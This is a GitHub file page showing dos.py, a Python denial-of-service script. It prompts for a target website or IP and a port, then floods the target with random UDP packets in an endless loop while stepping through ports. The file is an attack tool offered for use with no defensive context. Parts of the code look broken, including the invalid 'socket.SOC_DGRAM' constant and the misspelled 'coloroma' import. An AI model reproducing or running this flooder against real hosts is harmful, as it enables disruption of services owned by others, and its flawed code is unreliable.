-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdos.py
121 lines (111 loc) · 3.2 KB
/
dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# import the packages
from platform import system
import os
import time
import random
import socket
from urllib import request
import sys
path = os.getcwd()
path = os.path.join(path, "lib")
sys.path.append(path)
import coloroma
from coloroma import Fore, Back
from tqdm.auto import tqdm
de_version = "1.1"
coloroma.init()
# platform info
uname = system()
if uname== "Windows":
cmd ="cls"
else:
cmd = "clear"
os.system(cmd)
##############
sock = socket.socket(socket.AF_INET, socket.SOC_DGRAM)
bytes = random._urandom(1490)
#############
def chech_con():
try:
request.urlopen("https://www.google.co.in/", timeout=3)
except KeyboardInterrupt:
print(Fore.RED + "Stopped by User" + Fore.RESET)
exit()
except:
print(Fore.RED + "Please Check your connection" + Fore.RESET)
exit()
def update():
import urllib.request as urequest
from bs4 import BeautifulSoup as soup
page = urequest.urlopen("https://pastebin.com/G7gFkwfb").read()
soup = soup(page, "html.parser")
version = soup.find("div", class_="de1").text
if version > de_version:
import webbrowser
print(
Fore.CYAN + "Version " + Fore.MAGENTA + version + Fore.CYAN + " is Avaiable"
)
print(Fore.RED + "Please update the Program")
print("Redirecting...." + Fore.RESET)
time.sleep(3)
webbrowser.open("https://www.google.com/")
exit()
else:
pass
try:
print(Fore.CYAN + " Checking For Internet " + Fore.RESET)
time.sleep(2)
chech_con()
update()
os.system(cmd)
except KeyboardInterrupt:
print(Fore.RED + "Stopped by User" + Fore.RESET)
exit()
try:
while True:
print(Fore.RED + "1. Website Domain\n2. IP Address\n3. Exit" + Fore.RESET)
opt = str(input(Fore.GREEN + "\nEnter Your choice: " + Fore.RESET))
if opt == "1":
domain = str(
input(Fore.CYAN + "Enter The Website (eg:google.com): " + Fore.RESET)
)
ip = socket.gethostbyname(domain)
break
elif opt == "2":
ip = input(Fore.CYAN + "IP Address : " + Fore.RESET)
break
elif opt == "3":
time.sleep(1)
print(Fore.RED + "See you S00N" + Fore.RESET)
exit()
else:
print(Fore.RED + "Invaild Choice!" + Fore.RESET)
time.sleep(2)
os.system(cmd)
port = int(input(Fore.CYAN + "Port Number : " + Fore.RESET))
os.system(cmd)
print(Fore.CYAN + "INITIALIZING....")
for i in tqdm(range(10000)):
print(end="\r")
time.sleep(4)
print("STARTING...")
time.sleep(4)
sent = 0
except Exception as e:
print(Fore.RED + "Something Went Wrong!")
print("Reason:", e, Fore.RESET)
exit()
try:
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
port = port + 1
print(Fore.CYAN + "Packet number %s sent to %s at port:%s" % (sent, ip, port))
if port == 65534:
port = 1
elif port == 1900:
port = 1901
except Exception as e:
print(Fore.RED + "Exited\nReason: ", e, Fore.RESET)
except KeyboardInterrupt:
print(Fore.RED + "\nStopped by User" + Fore.RESET)